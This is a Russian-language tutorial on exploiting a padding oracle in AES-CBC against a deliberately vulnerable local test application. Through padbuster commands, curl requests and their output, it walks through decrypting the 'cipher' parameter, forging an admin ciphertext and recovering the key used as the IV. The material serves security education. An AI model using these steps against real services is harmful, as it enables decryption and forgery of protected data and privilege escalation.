Как при помощи уязвимости типа padding oracle получить ключ шифрования

Как при помощи уязвимости типа padding oracle получить ключ шифрования

В этой статье будет рассказано о некоторых практических способах эксплуатации уязвимостей, связанных с дополнениями к шифротексту (padding oracle vulnerability). Этот тип брешей позволяет расшифровывать шифротекст и зашифровывать обычный текст

Автор: Georg Chalupar

В этой статье будет рассказано о некоторых практических способах эксплуатации уязвимостей, связанных с дополнениями к шифротексту (padding oracle vulnerability). Этот тип брешей позволяет расшифровывать шифротекст и зашифровывать обычный текст. Более подробная информация об атаках, связанных с дополнениями (padding oracle attack) можно найти в статье, написанной Брайаном Холифилдом (Brian Holyfield).

Подопытное приложение, используемое в данной статье, имеет дополнительные уязвимости, которые позволяют вычислить ключи шифрования. Для осуществления атаки типа padding oracle мы будем использовать padbuster, а при помощи библиотеки python-paddingoracle создадим эксплоит. Уязвимое приложение можно найти на GitHub

Приложение расшифровывает содержимое параметра запроса с именем «cipher».

# curl
http://127.0.0.1:5000/echo?cipher=484b850123a04baf15df9be
14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2...
..

Результат расшифровки: ApplicationUsername=user&Password=sesame

Мы знаем, что алгоритм AES-128 с дополнением типа PKCS#5 и один и тот же статический пароль для вектора инициализации (и ключа шифрования) используются для шифровки и дешифровки содержимого параметра «cipher».  Кроме того, отсутствует проверка подлинности сообщений при помощи хеш-функции (HMAC) и вообще какие-либо другие проверки.

Простой сценарий атаки типа padding oracle

Использование PKCS#5 и отсутствие проверки говорит о том, что приложение может быть уязвимо к атаке типа padding oracle. Путем манипуляции с битами в первом блоке мы можем удостовериться, что отсутствует синтаксическая проверка, которая должна выполняться после расшифровки данных. Мы видим, что приложение обрабатывает «левые» сведения в первом блоке:

# curl
http://127.0.0.1:5000/echo?cipher=ff4b850123a04baf15df9
be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2...
..

Результаты расшифровки: �+�]7N�d�����N�me=user&Password=sesame

 

Следующим шагом необходимо проверить, как приложение реагирует на некорректное дополнение. Мы будем изменять биты в последнем блоке. В случае некорректного дополнения возвращается ошибка «decryption error».

# curl
http://127.0.0.1:5000/echo?cipher=484b850123a04baf15df9be14
e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2.....
decryption error

Теперь мы можем начать эксплуатацию уязвимости при помощи padbuster. Настоятельно рекомендую вам ознакомиться с постом Брайана и почитать справку, но для вашего удобства ниже приведен небольшой синопсис:

padbuster URL EncryptedSample BlockSize [options]

В базовом варианте использование padbuster не представляет особых сложностей: размер блока – 16 (16 байт = 128 бит) плюс дополнительный параметр -encoding 1 (шестнадцатеричный текст в нижнем регистре).


# padbuster
http://127.0.0.1:5000/echo?cipher=484b850123a04baf15df9be14e
87369bc59ca16e1f3645ef53cc6a4d9d87308ed2....
"484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d
87308ed2382fb0a54f3a2954bfebe0a04dd4d6" 16 -encoding 1
+-------------------------------------------+
| PadBuster - v0.3.3                        |
| Brian Holyfield - Gotham Digital Science  |
| [email protected]                      |
+-------------------------------------------+
INFO: The original request returned the following
[+] Status: 200
[+] Location: N/A
[+] Content Length: 51
INFO: Starting PadBuster Decrypt Mode
*** Starting Block 1 of 2 ***
INFO: No error string was provided...starting response analysis
 
*** Response Analysis Complete ***
The following response signatures were returned:
-------------------------------------------------------
ID#    Freq    Status    Length    Location
-------------------------------------------------------
1         1       200        42        N/A
 
2 **    255       200        16        N/A
-------------------------------------------------------
Enter an ID that matches the error condition
NOTE: The ID# marked with ** is recommended : 2
Continuing test with selection 2
[+] Success: (24/256) [Byte 16]
[+] Success: (165/256) [Byte 15]
[snip]
Block 1 Results:
[+] Cipher Text (HEX): c59ca16e1f3645ef53cc6a4d9d87308e
[+] Intermediate Bytes (HEX): 2926e03c56d32edd338ffa923df059e9
[+] Plain Text: ame=user&Passwor
*** Starting Block 2 of 2 ***
[snip]
-------------------------------------------------------
** Finished ***
[+] Decrypted value (ASCII): ame=user&Password=sesame
[snip]

Обратите внимание, что нам не удалось восстановить первый блок. Диаграмма ниже поможет разобраться, почему так произошло. Посредством использования уязвимости мы могли бы получить промежуточное значение после дешифровки первого блока (параметр –noiv в padbuster). Однако мы не знаем вектор инициализации, необходимый для того, чтобы вычислить текст первого блока.

Внимательные читатели, возможно, уже догадались, что, зная конечный результат расшифровки, можно вычислить вектор инициализации, используемый в качестве ключа шифрования. Подробности ниже.

http://blog.gdssecurity.com/storage/post-images/CBC_decryption-orig.png?__SQUARESPACE_CACHEVERSION=1443516353175

Рисунок 1: Дешифровка в режиме последовательного сцепления шифрованных блоков

В целях экономии времени мы можем указать строку ошибки в случае некорректного дополнения:

-error “decryption error”

Более сложный сценарий

Рассмотрим чуть более сложный случай, когда приложение не возвращает сообщение об ошибке в случае некорректного дополнения. Вместо этого после расшифровки происходит парсинг, и если нужное поле отсутствует, возвращается сообщение об ошибке. В нашем случае обязательные поля «ApplicationUsername» и «Password».

Ниже показан пример успешного запроса. Содержимое параметра «cipher» успешно расшифровалось и содержит все необходимые поля.

# curl
http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369bc
59ca16e1f3645ef53cc6a4d9d87308ed....

Результат расшифровки: ApplicationUsername=user&Password=sesame

Результат парсинга: {'Password': ['sesame'], 'ApplicationUsername': ['user']}

Если мы отправим запрос, содержащий только поле «Password», приложение вернет сообщение «ApplicationUsername missing».

# curl
http://127.0.0.1:5000/echo?cipher=38d057b13b8aef21dbf9b43b66a6d89a

Результат расшифровки: Password=sesame

# curl
http://127.0.0.1:5000/check?cipher=38d057b13b8aef21dbf9b43b66a6d89a

ApplicationUsername missing

Если в запросе содержится только поле «ApplicationUsername», приложение вернет сообщение «Password missing».

# curl
http://127.0.0.1:5000/echo?cipher=484b850123a04baf15df9be14e87369b309efe9c9fb71ea283dd42e445cc7b54

Результат расшифровки: ApplicationUsername=user

# curl
http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369b309efe9c9fb71ea283dd42e445cc7b54

Password missing

При манипуляциях с последним блоком дополнение становится некорректным. Следовательно, приложение не может расшифровать содержимое параметра «cipher» и возвращает сообщение «ApplicationUsername missing».

# curl
http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed....

ApplicationUsername missing

К сожалению, запуск padbuster’а с минимальным количеством параметров оканчивается неудачно. Попытка подобрать первый блок всегда оканчивается одним и тем же сообщением об ошибке (ApplicationUsername missing)

# padbuster
"http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed...."
"484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6"
16 -encoding 1  
[snip]
ERROR: All of the responses were identical.
Double check the Block Size and try again.

Но мы все еще можем воспользоваться тем, что приложения проверяет поля в определенном порядке. Нам лишь нужно подготовить зашифрованные данные, где содержится поле «ApplicationUsername». Если дополнение будет правильным, мы получим другой ответ. Таким способом мы можем расшифровать все блоки, кроме первого.

В примере ниже при осуществлении атаки подготавливаются первые два блока шифротекста, поскольку поле «ApplicationUsername» перекрывает первые два блока (см. Приложение).

# padbuster
"http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed...."
"484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6"
16 -encoding 1 -error "ApplicationUsername missing" -prefix
"484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e"
+-------------------------------------------+
| PadBuster - v0.3.3                        |
| Brian Holyfield - Gotham Digital Science  |
| [email protected]                      |
+-------------------------------------------+
INFO: The original request returned the following
[+] Status: 200
[+] Location: N/A
[+] Content Length: 117
INFO: Starting PadBuster Decrypt Mode
*** Starting Block 1 of 2 ***
[snip]
-------------------------------------------------------
** Finished ***
[+] Decrypted value (ASCII): ame=user&Password=sesame
[snip]

Шифрование произвольных сообщений

Мы также можем шифровать произвольные сообщения (читайте упомянутый ранее пост, чтобы понимать, как работает padbuster). Единственное ограничение – мы не можем управлять первым блоком, поскольку используется статический вектор инициализации. Приложение все также будет принимать сформированный шифротекст, если мы завершим неуправляемые данные из первого блока последовательностью «=bla&». Обратите внимание, что сформированный шифротекст не обязательно должен быть той же длины, что и первоначальный шифротекст.

# padbuster
"http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369b"
"484b850123a04baf15df9be14e87369b" 16 -encoding 1 -error "ApplicationUsername missing" -prefix
"484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e" -plaintext
"=bla&ApplicationUsername=admin&Password=admin"
[snip]
[+] Encrypted value is:
753e2047e19bf24866ae5634f3454ef3a3802d5144a051a7246762f57
a16f73531d76ada52422e176ea07e45384df69d00000000000000000000000000000000
-------------------------------------------------------
# curl
http://127.0.0.1:5000/check?cipher=753e2047e19bf24866ae5634f3454ef3a3802d5144a051a7246762f57a16f7353....

Результаты расшифровки: ��_c�I�B�C���=bla&ApplicationUsername=admin&Password=admin

Результаты парсинга: {'\xf7\xc1_c\x9e\x1cI\x9aB\xccC\x10\xac\x07\x90\x97': ['bla'], 'Password': ['admin'], 'ApplicationUsername': ['admin']}

Получение ключа шифрования

Помимо расшифровки и формирования содержимого параметра «cipher» мы можем устанавливать вектор инициализации (или ключ шифрования). Вектор инициализации представляет собой обычный текст из первого блока, над которым выполняется операция XOR вместе с промежуточным значением, полученным после расшифровки первого блока (см. схему ниже).

Мы можем подобрать текстовое сообщение на основе спецификации и расшифрованной части после осуществления атаки типа padding oracle, либо сообщений, которые отображаются приложением.

http://blog.gdssecurity.com/storage/post-images/CBC_decryption470.png?__SQUARESPACE_CACHEVERSION=1443515627885

Рисунок 2: Как из обычного текста получается вектор инициализации и ключ

Используя параметр –noiv, мы можем получить промежуточное значение после дешифровки первого блока:

# padbuster
"http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369b"
"484b850123a04baf15df9be14e87369b" 16 -encoding 1 -error "ApplicationUsername missing" -prefix
"484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e" -noiv              
[snip]
Block 1 Results:
[+] Cipher Text (HEX): 484b850123a04baf15df9be14e87369b
[+] Intermediate Bytes (HEX): 7141425f5d56574351562f1730213728
[snip]

Как только мы получили промежуточное значение, выполняем операцию XOR с обычным текстом и получаем ключ шифрования:

0x4170706c69636174696f6e557365726e (обычный текст - ‘ApplicationUsern’)
XOR
0x7141425f5d56574351562f1730213728 (промежуточное значение)
=
0x30313233343536373839414243444546 (ключ шифрования ‘0123456789ABCDEF’)

Создание эксплоита

При помощи библиотеки python-paddingoracle можно создать эксплоит для тех случаев, когда padbuster недостаточно гибок. Например, когда целевое приложение использует CSRF-токены или при тестировании веб-сервисов.

В репозитарии находятся два скрипта, написанные на Python, которые эксплуатируют тестовые веб-приложения. Первый скрипт «http-simple.py» предназначен для упрощенного сценария. Второй скрипт «http-advanced.py» предназначен для случаев, когда мы заранее формирует шифротекст. Во втором скрипте также демонстрируется шифрование произвольного текста и вычисление ключа.

Дополнительные сведения

При помощи полезной нагрузки Bit flipper в модуле Intruder из приложения Burp Proxy можно наблюдать, как приложение обрабатывает зашифрованные значения. У вас должно возникнуть подозрение, если используются странные полезные нагрузки и возвращаются различные сообщения об ошибках. Подобное происходит в тех случаях, когда не используется код аутентификации сообщений (MAC).

Если шифрование происходит без кода аутентификации, это всегда находка для злоумышленника, вне зависимости от того, присутствуют ли уязвимости типа padding oracle или нет. Из-за архитектуры CBC (cipher block chaining; сцепление блоков шифротекста) мы всегда можем манипулировать зашифрованными значениями.

Формирование нового шифротекста в padbuster может пригодиться в тех случаях, когда приложение имеет идентификатор внутри зашифрованных полей, предназначенный для детектирования манипуляций с блоками. Формируя новый блок, мы можем остановить проверку идентификатора для текущего зашифрованного поля.

Ради удобства тестовое приложение имеет функцию для шифровки произвольных данных:

# curl
http://127.0.0.1:5000/encrypt?plain=ApplicationUsername%3Duser%26Password%3Dsesame

Результат шифровки: 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6

Приложение: Зашифрованные блоки

Block 1:
484b850123a04baf15df9be14e87369b
ApplicationUsern

Block 2:
c59ca16e1f3645ef53cc6a4d9d87308e
ame=user&Passwor

Block 3:
d2382fb0a54f3a2954bfebe0a04dd4d6
d=sesame[padding]

Домашний Wi-Fi – ваша крепость или картонный домик?

Узнайте, как построить неприступную стену